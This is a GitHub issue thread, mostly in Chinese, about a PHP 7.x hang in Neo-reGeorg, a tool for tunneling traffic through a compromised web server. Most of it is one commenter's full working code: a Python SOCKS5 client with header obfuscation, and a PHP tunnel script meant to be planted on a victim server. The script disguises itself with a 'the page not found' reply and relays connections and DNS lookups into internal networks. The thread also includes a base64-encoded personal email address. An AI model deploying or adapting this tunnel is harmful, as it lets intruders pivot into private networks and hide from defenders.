L-codes / Neo-reGeorg

Neo-reGeorg is a project that seeks to aggressively refactor reGeorg
GNU General Public License v3.0
2.9k stars 447 forks source link

php7.3 下用tunnel.nosocket.php会卡住, #8

Closed xiaozhu1337 closed 4 years ago

xiaozhu1337 commented 4 years ago

php7.0及以下可以正常使用,但是php7.3会卡住 burp抓包的话会看到READ指令一直读不到返回

image image

L-codes commented 4 years ago

感谢你的问题提交,的确存在该问题,看了一天初步判断是更新后7.3版本在$_SESSION处出问题,目前还未想到解决方案,待后续更新解决

L-codes commented 4 years ago

@xiaozhu1337 不好意思,没来得及看,fork好像删除了,如果解决了,不妨发一个Pull requests给我,感谢~

sureiam commented 4 years ago

php7.2.24里tunnl.php也有一样的问题。 ` 72 session_write_close(); 73 74 while ($_SESSION["run"]) 75 { 76 $readBuff = ""; 77 @session_start();
78 $writeBuff = $_SESSION["writebuf"];//这里一直获取不到内容,上面的session_start去掉忽略报错也会一直报错 79 $_SESSION["writebuf"] = ""; 80 session_write_close(); 81 if ($writeBuff != "")

`

L-codes commented 4 years ago

@sureiam 感谢你的测试反馈!v2.0版本正在开发测试,架构会大改应该会连同解决该问题的

junmoxiao commented 4 years ago

不好意思忘记回你了。我基于原版的已经改好了,方便加个好友吗?这是我邮箱 NTM5OTEzMzhAMTYzLmNvbQo= 我改的几个地方

  1. 加入了对 http/socks5 的支持
  2. 重构了本地socks5服务器
  3. 修改了获取http头的方式,改了默认字符串
  4. 现在只支持一个脚本 "tunnel.nosocket.php", 其他还没改
  5. 加入了真正的DNS查询,可以指定内网的域名了
  6. 修复了高CPU占用的bug
  7. 加入了对Python3的支持
  8. 现在支持 php 7.1/7.2/7.3 了

reGeorgSocksProxy.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import logging
import urllib3
from threading import Thread
import socket
import struct
# import os
from time import sleep
from urllib3.contrib.socks import SOCKSProxyManager
from socketserver import StreamRequestHandler, ThreadingTCPServer

from libs.loggings import log, transferLog, LEVEL
from libs.exception import SocksCmdNotImplemented
from libs.exception import SocksProtocolNotImplemented
from libs.exception import RemoteConnectionFailed
from libs.exception import DomainNameResolveFailed
from libs.utils import choose_useragent
from libs.utils import parse_args
from libs.utils import HeaderObfuscator
from libs.socks5server import ReuseServer

# Constants
SOCKTIMEOUT = 5
VER = b"\x05"
METHOD = b"\x00"
SUCCESS = b"\x00"
REFUSED = b"\x05"
# SOCKFAIL = b"\x01"
# NETWORKFAIL = b"\x02"
# HOSTFAIL = b"\x04"
# TTLEXPIRED = b"\x06"
# UNSUPPORTCMD = b"\x07"
# ADDRTYPEUNSPPORT = b"\x08"
# UNASSIGNED = b"\x09"

BASICCHECKSTRING = "the page not found"

# Globals
READBUFSIZE = 1024
USERAGENT = choose_useragent()

class reGeorgSession(StreamRequestHandler):

    def handle(self):
        self.cookie = None
        # self.connection
        self.url = args.url
        self.dns_cache = {}
        try:
            if self.handle_socks():
                log.debug("Staring reader")
                r = Thread(target=self.reader, args=())
                r.start()
                log.debug("Staring writer")
                w = Thread(target=self.writer, args=())
                w.start()
                r.join()
                w.join()
        except SocksCmdNotImplemented as scni:
            log.error('SocksCmdNotImplemented: ' + scni)
            return
        except SocksProtocolNotImplemented:
            log.error('SocksProtocolNotImplemented')
            return
        except DomainNameResolveFailed as dnf:
            log.error("DNS Query Error: [%s]" % (dnf, ))
            return
        except Exception as e:
            logging.exception(e)
            self.closeRemoteSession()
            return         

    def handle_socks(self):
        # This is where we setup the socks connection
        ver = self.connection.recv(1)
        if ver == b"\x05":
            log.debug('socks5 protocal version: ')
            # hexdump(ver)
            return self.parse_socks5()
        else:
            log.error('wrong socks5 protocal version: ')
            # hexdump(ver)
            return False

    def gethostbyname(self, host):
        host = host.decode()
        if host in self.dns_cache:
            return self.dns_cache[host]

        ipaddr = None
        headers = {"X-CMD": "DNS", 'User-Agent': USERAGENT}
        headers = HeaderObfuscator(headers)
        response = request_pool.request(
            'POST', self.url, headers=headers, body=host)
        if response.status == 200 and response.data.decode() != host:
            log.info("DNS Query OK: [%s] <---> [%s]" % (host, response.data.decode()))
            ipaddr = response.data.decode()
        else:
            raise DomainNameResolveFailed(host)
        self.dns_cache[host] = ipaddr
        return ipaddr

    def parse_socks5(self):
        sock = self.connection
        log.debug("SocksVersion5 detected")
        nmethods, methods = (sock.recv(1), sock.recv(1))
        sock.sendall(VER + METHOD)

        ver = sock.recv(1)
        if ver == b"\x02":                # this is a hack for proxychains
            ver, cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1), sock.recv(1))
        else:
            cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1))

        target = None
        targetPort = None

        log.debug('begin deal socks5 - 2 - Connection')
        if atyp == b"\x01":  # IPv4
            # Reading 6 bytes for the IP and Port
            target = sock.recv(4)
            targetPort = sock.recv(2)
            target = socket.inet_ntoa(target)
        elif atyp == b"\x03":  # Hostname
            targetLen = ord(sock.recv(1))  # hostname length (1 byte)
            target = sock.recv(targetLen)
            targetPort = sock.recv(2)
            target = self.gethostbyname(target)   # 放到web端去解析
        elif atyp == b"\x04":  # IPv6
            target = sock.recv(16)
            targetPort = sock.recv(2)
            target = socket.inet_ntop(socket.AF_INET6, target)

        # targetPort = ord(targetPort[0]) * 256 + ord(targetPort[1])
        self.port = struct.unpack('>H', targetPort)[0]
        self.target = target

        if cmd == b"\x02":  # BIND
            raise SocksCmdNotImplemented("Socks5 - BIND not implemented")
        elif cmd == b"\x03":  # UDP
            raise SocksCmdNotImplemented("Socks5 - UDP not implemented")
        elif cmd == b"\x01":  # CONNECT
            serverIp = socket.inet_aton(target)

            self.cookie = self.init_session()
            if self.cookie:
                self.setupRemoteSession()
                sock.sendall(VER + SUCCESS + b"\x00" + b"\x01" + serverIp + targetPort)
                return True
            else:
                sock.sendall(VER + REFUSED + b"\x00" + b"\x01" + serverIp + targetPort)
                raise RemoteConnectionFailed(
                    "[%s:%d] Remote failed" % (self.target, self.port))

        else:
            raise SocksCmdNotImplemented("Socks5 - Unknown CMD")

    def init_session(self):
        log.debug('begin init session')
        headers = {"X-CMD": "INIT", 'User-Agent': USERAGENT, "X-TARGET": self.target,
                   "X-PORT": self.port,}
        headers = HeaderObfuscator(headers)

        cookie = None
        response = request_pool.request(
            'POST', args.url, headers=headers, body="")
        if response.status == 200:
            status = response.getheader("x-status")
            if status == "OK":
                cookie = response.getheader("set-cookie")
                log.info("[%s:%d] HTTP [200]: cookie [%s]" %
                         (self.target, self.port, cookie))
            else:
                if response.getheader("X-ERROR") is not None:
                    log.error(response.getheader("X-ERROR"))
        else:
            log.error("[%s:%d] HTTP [%d]: [%s]" % (
                self.target, self.port, response.status,
                response.getheader("X-ERROR")))
            log.error("[%s:%d] RemoteError: %s" %
                      (self.target, self.port, response.data.decode()))
        return cookie

    def setupRemoteSession(self):
        try:
            log.debug('run setupRemoteSession')
            headers = {"X-CMD": "CONNECT", "X-TARGET": self.target,
                    "X-PORT": self.port, 'User-Agent': USERAGENT, "Cookie": self.cookie}
            headers = HeaderObfuscator(headers)

            response = request_pool.request(
                'POST', args.url, headers=headers, body="", timeout=0.1)
        except:
            pass

    def closeRemoteSession(self):
        headers = {"X-CMD": "DISCONNECT", "Cookie": self.cookie,
                   "User-Agent": USERAGENT}
        headers = HeaderObfuscator(headers)
        params = ""
        response = request_pool.request("POST", args.url, params, headers)
        if response.status == 200:
            log.info("[%s:%d] Connection Terminated" %
                     (self.target, self.port))

    def reader(self):
        while True:
            try:
                if not self.connection:
                    break

                headers = {"X-CMD": "READ", "Cookie": self.cookie,
                           "Connection": "Keep-Alive", 'User-Agent': USERAGENT}
                headers = HeaderObfuscator(headers)
                # url_cmd_args = "?cmd=read"
                # if(withoutUrlParams):
                #     url_cmd_args = ""
                response = request_pool.request(
                    'POST', self.url, headers=headers, body="")
                data = None
                if response.status == 200:
                    status = response.getheader("x-status")
                    if status == "OK":
                        data = response.data
                        # Yes I know this is horrible, but its a quick fix to
                        # issues with tomcat 5.x bugs that have been reported,
                        # will find a propper fix laters
                        try:
                            if response.getheader("server").find(
                                    "Apache-Coyote/1.1") > 0:
                                data = data[:len(data) - 1]
                        except Exception:
                            pass
                        if data is None:
                            data = ""
                    else:
                        data = None
                        log.info(("[%s:%d] HTTP [%d]: Status: [%s]: "
                                  "Message [%s] reader Shutting down") % (
                            self.target, self.port, response.status, status,
                            response.getheader("X-ERROR")))
                        log.info("read complete")
                else:
                    log.error("[%s:%d] HTTP [%d]: reader Shutting down" %
                              (self.target, self.port, response.status))
                if data is None:
                    # Remote socket closed
                    break
                if len(data) == 0:
                    sleep(0.1)
                    continue
                transferLog.info("[%s:%d] <<<< [%d]" %
                                 (self.target, self.port, len(data)))
                self.connection.send(data)
            except Exception as ex:
                raise ex
        self.closeRemoteSession()
        log.debug("[%s:%d] Closing localsocket" % (self.target, self.port))
        try:
            self.connection.close()
        except Exception:
            log.debug("[%s:%d] Localsocket already closed" %
                      (self.target, self.port))

    def writer(self):
        while True:
            try:
                self.connection.settimeout(1)
                data = self.connection.recv(READBUFSIZE)
                if not data:
                    break
                headers = {"X-CMD": "FORWARD", "Cookie": self.cookie,
                           "Content-Type": "application/octet-stream",
                           "Connection": "Keep-Alive",
                           'User-Agent': USERAGENT}
                headers = HeaderObfuscator(headers)

                response = request_pool.request(
                    'POST', self.url, headers=headers, body=data)
                if response.status == 200:
                    status = response.getheader("x-status")
                    if status == "OK":
                        if response.getheader("set-cookie") is not None:
                            self.cookie = response.getheader("set-cookie")
                    else:
                        log.error(("[%s:%d] HTTP [%d]: Status: [%s]: "
                                  "Message [%s] writer Shutting down") % (
                            self.target, self.port, response.status, status,
                            response.getheader("x-error")))
                        break
                else:
                    log.error("[%s:%d] HTTP [%d]: writer Shutting down" %
                              (self.target, self.port, response.status))
                    break
                transferLog.info("[%s:%d] >>>> [%d]" %
                                 (self.target, self.port, len(data)))
            except socket.timeout:
                continue
            except Exception:
                break
        self.closeRemoteSession()
        log.debug("[%s:%d] Closing localsocket" % (self.target, self.port))
        try:
            self.connection.close()
        except Exception:
            log.debug("Localsocket already closed")

def askGeorg():
    headers = {'User-Agent': USERAGENT}
    r = request_pool.request('GET', args.url, headers=headers)
    if r.status == 200:
        if BASICCHECKSTRING == r.data.decode():
            log.info("Georg says, 'All seems fine'")
            return True
    return False

if __name__ == '__main__':
    log.setLevel(logging.DEBUG)
    args = parse_args()

    READBUFSIZE = args.read_buff_size

    if args.proxy:
        log.info("Use proxy to connect to target: " + args.proxy)
        if args.proxy.startswith('http'):
            request_pool = urllib3.ProxyManager(args.proxy)
        elif args.proxy.startswith('socks5'):
            request_pool = SOCKSProxyManager(args.proxy)
    else:
        request_pool = urllib3.PoolManager()

    if args.verbose in LEVEL:
        log.setLevel(LEVEL[args.verbose])
        log.info("Log Level set to [%s]" % args.verbose)

    if args.insecure:
        log.info("Skip SSL certificate validation")
        urllib3.disable_warnings()

    log.info("Checking if Georg is ready")
    if not askGeorg():
        log.info("Georg is not ready, please check url")
        exit()

    log.info("Starting socks server [%s:%d], tunnel at [%s]" % (
        args.listen_on, args.listen_port, args.url))

    try:
        with ReuseServer((args.listen_on, args.listen_port), reGeorgSession) as server:
            server.serve_forever()
    except KeyboardInterrupt:
        log.info('user interrupt')

tunnel.nosocket.php

<?php
ini_set("allow_url_include", true);
ini_set("allow_url_fopen", true);
error_reporting(E_ERROR | E_PARSE);

function getHeader()
{
    $headers = array();
    foreach ($_SERVER as $key => $value) {
        if ('HTTP_' == substr($key, 0, 5)) {
            $headers[str_replace('_', '-', substr($key, 5))] = $value;
        }
        if (isset($_SERVER['PHP_AUTH_DIGEST'])) {
            $header['AUTHORIZATION'] = $_SERVER['PHP_AUTH_DIGEST'];
        } elseif (isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW'])) {
            $header['AUTHORIZATION'] = base64_encode($_SERVER['PHP_AUTH_USER'] . ':' . $_SERVER['PHP_AUTH_PW']);
        }
        if (isset($_SERVER['CONTENT_LENGTH'])) {
            $header['CONTENT-LENGTH'] = $_SERVER['CONTENT_LENGTH'];
        }
        if (isset($_SERVER['CONTENT_TYPE'])) {
            $header['CONTENT-TYPE'] = $_SERVER['CONTENT_TYPE'];
        }
    }
    return $headers;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    set_time_limit(0);
    $headers = getHeader();
    switch ($headers['X-SECURE']) {
        case "INIT":
            {
                list($target, $port) = explode(":", $headers['X-AUTH']);
                $target = base64_decode($target);
                $port = (int) base64_decode($port);
                $res = fsockopen($target, $port);
                if ($res === false) {
                    header('X-STATUS: FAIL');
                    header('X-ERROR: Failed connecting to target');
                    return;
                }
                fclose($res);
                @session_start();
                $_SESSION["run"] = true;
                $_SESSION["writebuf"] = "";
                $_SESSION["readbuf"] = "";
                session_write_close();
                header('X-STATUS: OK');
                header("Connection: close");
            }
            break;
        case "CONNECT":
            {
                list($target, $port) = explode(":", $headers['X-AUTH']);
                $target = base64_decode($target);
                $port = (int) base64_decode($port);
                $res = fsockopen($target, $port);
                if ($res === false) {
                    header('X-STATUS: FAIL');
                    header('X-ERROR: Failed connecting to target');
                    return;
                }
                stream_set_blocking($res, false);

                ignore_user_abort(true);
                @session_start();
                session_write_close();
                while ($_SESSION["run"]) {
                    if (empty($SESSION["writebuf"])) {
                        usleep(50000);
                    }
                    $readBuff = "";
                    @session_start();
                    $writeBuff = $_SESSION["writebuf"];
                    $_SESSION["writebuf"] = "";
                    session_write_close();
                    if ($writeBuff != "") {
                        stream_set_blocking($res, false);
                        $i = fwrite($res, $writeBuff);
                        if ($i === false) {
                            @session_start();
                            $_SESSION["run"] = false;
                            session_write_close();
                            header('X-STATUS: FAIL');
                            header('X-ERROR: Failed writing socket');
                        }
                    }
                    stream_set_blocking($res, false);
                    while ($o = fgets($res, 10)) {
                        if ($o === false) {
                            @session_start();
                            $_SESSION["run"] = false;
                            session_write_close();
                            header('X-STATUS: FAIL');
                            header('X-ERROR: Failed reading from socket');
                        }
                        $readBuff .= $o;
                    }
                    if ($readBuff != "") {
                        @session_start();
                        $_SESSION["readbuf"] .= $readBuff;
                        session_write_close();
                    }
                }
                fclose($res);
            }
            break;
        case "DISCONNECT":
            {
                @session_start();
                $_SESSION["run"] = false;
                session_write_close();
                return;
            }
            break;
        case "READ":
            {
                @session_start();
                $readBuffer = $_SESSION["readbuf"];
                $_SESSION["readbuf"] = "";
                session_write_close();
                if ($_SESSION["run"]) {
                    header('X-STATUS: OK');
                    header("Connection: Keep-Alive");
                    echo $readBuffer;
                    return;
                } else {
                    header('X-STATUS: FAIL');
                    header('X-ERROR: RemoteSocket read failed');
                    return;
                }
            }
            break;
        case "FORWARD":
            {
                @session_start();
                session_write_close();
                if (!$_SESSION["run"]) {
                    header('X-STATUS: FAIL');
                    header('X-ERROR: No more running, close now');
                    return;
                }
                header('Content-Type: application/octet-stream');
                $rawPostData = file_get_contents("php://input");
                if ($rawPostData) {
                    @session_start();
                    $_SESSION["writebuf"] .= $rawPostData;
                    session_write_close();
                    header('X-STATUS: OK');
                    header("Connection: Keep-Alive");
                    return;
                } else {
                    header('X-STATUS: FAIL');
                    header('X-ERROR: POST request read failed');
                }
            }
            break;
        case "DNS":
            {
                $rawPostData = file_get_contents("php://input");
                $dns = gethostbyname($rawPostData);
                echo $dns;
            }
    }
} else {
    exit("the page not found");
}
L-codes commented 4 years ago

@junmoxiao 方便

L-codes commented 4 years ago

PHP >= 7.1 环境的BUG 已经修复,获取最新的 v1.5.0 版本使用~